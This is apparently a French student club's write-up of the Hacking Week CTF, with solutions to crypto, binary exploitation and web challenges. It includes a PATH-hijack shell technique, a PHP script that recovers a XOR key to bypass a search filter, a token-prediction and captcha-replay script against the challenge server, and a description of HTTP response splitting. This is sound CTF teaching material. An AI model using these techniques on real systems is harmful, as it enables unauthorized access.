Le club de reverse engineering a participé à la Hacking Week, et s'est classé 7ème sur 111 équipes (dont certaines n'étaient composées que d'une ou deux personnes). Ce challenge à destination des étudiants nous a permis d'évaluer ce à quoi nous pouvons nous attendre au Steria Hacking Challenge qui arrive bientôt.
Dans l'ensemble, c'était très sympa, l'équipe (perror et des inconnus) était réactive et les challenges variés. On déplore un peu le nombre de bruteforces, pas forcément super intéressants et faisant gagner les équipes d'écoles qui ont un gros serveur en libre accès. (Enfin, ça nous a permis de découvrir et presque récupérer les super machines de l'option Simulation Numérique Haute Performance qui n'a pas ouvert cette année.)
Ci-dessous, les solutions des challenges que nous avons réussi :
Crypto
Crypto1 (qolund)
Un simple vigenère sur un court texte français, n'importe quel site automatique nous donne une taille de 11 caractères, et une partie d'entre eux nous donne la clef avec. Contrairement à l'énoncé qui précisait que « la clef est dedans », la clef n'est pas dans le message déchiffré, c'est le flag.
Crypto2 (qolund)
Une simple liste de hashs proches du md5, avec un salt connu. John the ripper ou oclhashcat pètent ça tout seuls, c'est juste une question de puissance de calcul.
Crypto3 (qolund)
De la stéganographie sur l'inénarrable Lena.
On ne l'a pas cassé, mais on a trouvé des choses :
- L'analyse fréquentielle du dernier LSB n'est pas uniformément répartie (c'est peut-être dû au traitement de l'image).
- La courbe des couleurs comporte des trous, ce qui est surprenant pour une image sans palette.
Il semblerait que d'autres équipes aient réussi à en extraire un éxécutable, et que la seconde partie de l'épreuve ait été du cracking.
Crypto4 (qolund)
Un cassage de RSA 1024 bits. En pratique, ce n'est pas soluble (c'est un problème de logarithme discret et on n'est pas la NSA), sauf que nous n'étions pas sûrs du modulo. Celui-ci était dans la liste des 100 modulo de 1024 bits fournis.
Le but pour faire sauter du RSA, c'est de trouver les deux nombres premiers p et q tels que n = pq:. Faire un bruteforce pour factoriser un n, c'est long. Très long. Alors 100 n, c'est impossible. Le truc, c'est qu'il fallait penser à faire le PGCD de chaque n entre eux, et faire la liste de ceux dont le PGCD n'est pas 1. On en trouve deux, qu'on peut donc factoriser. À partir de p et q, on calcule le totient d'Euler, φ = (p − 1)(q − 1), en fait. On calcule ensuite d tel que de = 1 [φ]. Pour récupérer le message clair c, il faut prendre le chiffré m, le mettre à la puissance d, modulo n. On connaît m. On connaît aussi deux d, et deux n possibles. On déchiffre c, on prend le message en français, et le flag est le condensat md5 du plaintext.
Crypto5
Un échange de clés Diffie-Helmann pétable avec Sage il me semble XeR complètera. (Oui, il a tout fait)
Cracking
Haha j'en ai pas fait faudra attendre le passage de XeR ou de Fred.
Exploitation
Au début de la semaine, il n'y avait pas gdb, mais de l'ASLR. Du coup c'était un peu hardcore.
Un truc rigolo, c'était ps x, who et w qui donnaient des infos sur les autres concurrents et ce qu'ils faisaient. Du coup on a pu récupérer des noms de dossiers dans /tmp/ (le seul dossier où tout le monde allait faire ses petits scripts). Il y a même un type qui s'est mis dans un screen, du coup tout le monde a pu se brancher dessus et lire son backlog (pas très fructueux).
À l'avenir, évitez d'utiliser /tmp/test, /tmp/a, /tmp/coucou pour stocker vos scripts de haxx0rs, parce que tout le monde peut les lire.
Exploit 1
Un grand classique : on a un appel à system(), pour faire un echo. C'est crade. On dirait un script fait par un CPI1. (Ha ha ha, que je suis drôle.)
Le but, c'est de créer quoi que ce soit d'éxecutable. Un ELF, ou un script pour nous donner un shell. Par exemple /bin/sh dans un .sh. Ensuite, on modifie notre variable PATH. Quand on lance une commande depuis un terminal, (au hasard, echo), l'OS va chercher dans chaque chemin de la variable PATH, si un fichier correspondant à la commande existe. Si c'est le cas, on le lance, sinon, on passe au chemin suivant.
Bref, on echo "/bin/sh" > /tmp/eisti/level1/echo, chmod +x /tmp/eisti/level1/echo, export PATH=/tmp/eisti/level1:$PATH
Flag: eg3fa3Eing
Exploit 2
C'est Pierre qui l'a fait, alors on lui laisse le plaisir de l'écrire. :) En gros, on bourrine le buffer, pour réecrire sur le BP. Comme ça, quand on sort de la fonction, le BP sera ailleurs, et le programme pensera que i != 0. Et bim, on a un shell.
Flag: Kahwaujoo1
Web
Encore une fois XeR a tout pété, il s'occupera de vous le raconter.
Web 1
Bon, celle là, c'était la plus simple, mais on a eu la percée. Donc c'est cool. On arrive sur une page d'authentification. On a pas le droit au code source. Quand on se login, on remarque que notre navigateur envoie pas de requête. (En fait, on remarque surtout si on est connecté sur la WiFi de la 106.)
On regarde donc la source, et on remarque un passage en JavaScript qui est plus qu'intéressant:
password = md5(password);
if ((username != "neo") || (password != "92920e406dd7a1e5eb7e614f4f95554b"))
Il faut donc se connecter avec neo, et avec le password qui a pour hash MD5 92920e... Après une recherche sur Google, on trouve que le plaintext est captaincrunch. On se connecte avec neo:captaincrunch, et le site nous file le flag.
Flag: xahcahK7ci
Web 2
Celle là, j'ai pas très bien compris le scénario, mais bon, on s'en fou, le but c'est de faire passer taagle dans le champ de recherche, pour faire une faille spatio-temporelle récursive, ou je sais plus quoi... Un vrai scénario Hollywoodien quoi.
Si le script trouve taagle, google, yahoo, ou bing dans la recherche, il va l'obfusquer à grand coup de xor. Et à la fin, on arrête la recherche au premier backslash, CR, LF, ou tab. On ne connaît pas la clé utilisée pour xorer. Comme xor est symétrique, on peut récupérer la clé à partir d'un message qu'on va chiffrer, et de son original.
Le truc, c'est de rechercher aaaaaaaaaaaaaaaaaaaaaaaaagoogle. On GET la page avec un wget, et on pipe la sortie avec xxd pour récupérer les codes ascii de la page, sans trop se faire chier.
Après, on xor la chaîne de notre recherche avec aaaaaaaa... jusqu'à ce qu'on trouve un cycle.
Et après, on code un p'tit script pour reverse la clé, et pour trouver une recherche qui laissera passer « taagle ».
<?php
// wget -qO- http://91.121.9.92/web2/search.php\?query\=aaaaaaaaaaaaaaaaaaaaaaaagoogle | xxd | less
$xor = [0x31, 0x95, 0x3d, 0x0c, 0x1a, 0x15, 0x4a, 0x2e, 0xc6, 0x3f];
// Dirty rot 13
$key = array_map(function($c) { return ord(str_rot13(chr($c))); }, $xor);
// xoring with the original letter
for($i = 0; $i < sizeof($key); $i++)
$key[$i] ^= ord('a');
$flag = str_rot13("taagle\r");
for($i = 0; $i < strlen($flag); $i++)
$flag[$i] = chr(ord($flag[$i]) ^ $key[$i % sizeof($key)]);
var_dump(urlencode($flag));
On provoque un cataclysme intersidéral, on fait péter la planète, mais on s'en fou, puisqu'on a récupéré le flag.
Flag: iuphie6iDu
Web 3
Dans cette épreuve, on a un formulaire d'auth, mais on s'en fou en fait.
En regardant le code source, on comprend assez vite où se trouve la faille : Il s'agit d'un HTTP Splitting, puisque hello.php urldecode le contenu du fichier.
Dans chmod.php, le script vérifie que l'IP qui se connecte est 127.0.0.1. Si c'est le cas, on récupère la variable l'ID passé en paramètre dans l'URL, si c'est une variable de session qui existe (PHPSESSID), alors le script va modifier cette session, pour qu'il accède au flag. En théorie, on est censé aller sur stats.php, en envoyant une requête X-Forwarded-For avec des CRLF, pour forger des fausse headers HTTP, notamment une Location, vers chmod.php pour que le script autorise notre session.
SAUF QUE, en pratique, on a un shell sur le server web. Pour les épreuves d'exploit. Il suffit de faire un vulgaire wget, et l'épreuve est gagnée...
Flag: Ciu2Ahhool
Web 4
On l'a pas réussi, parce qu'on est des tocards. Mais de toute façon, cette épreuve semble cassée en ligne. On verra plus tard.
Flag: Aucune idée.
Web 5
Ce challenge est assez cool. Enfin, je trouve. Ça prouve à quel point les gens peuvent être con.
On a un captcha, pour se connecter, et un nombre généré de manière aléatoire (ou pas). En fait, le captcha est généré quand on affiche captcha.php... Qui est affiché à l'utilisateur dans une image. Donc, si l'utilisateur n'affiche pas l'image, le captcha ne change pas. Il suffit de le lire une fois, et on peut faire un script pour l'épreuve.
Ensuite, le script d'auth est pas très aléatoire, puisqu'on modifie la seed pour la génération du token. Il suffit de faire un script qui attend pour envoyer le code, et le captcha déjà résolu.
<?php
$sessid = 'kdfqdk869iuohdik35eqh6dhq6';
$captcha = '3zXNR5';
$t = microtime(true);
$t = floor($t * 10) + 1;
srand($t);
$chars = array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9'));
$max = rand(5, 10);
$code = null;
for($i = 0; $i < $max; $i++)
$code .= $chars[rand(0, count($chars)-1)];
var_dump($code);
$url = 'http://91.121.9.92/web5/';
$url .= '?auth=' . $code;
$url .= '&captcha=' . $captcha;
$req['http']['method'] = 'GET';
$req['http']['header'] = 'Cookie: PHPSESSID=' . $sessid;
$context = stream_context_create($req);
do {
$fgc = file_get_contents($url, false, $context);
echo '.';
sleep(0.1);
}
while(strpos($fgc, 'Success') === false);
Flag: wie5cheeZa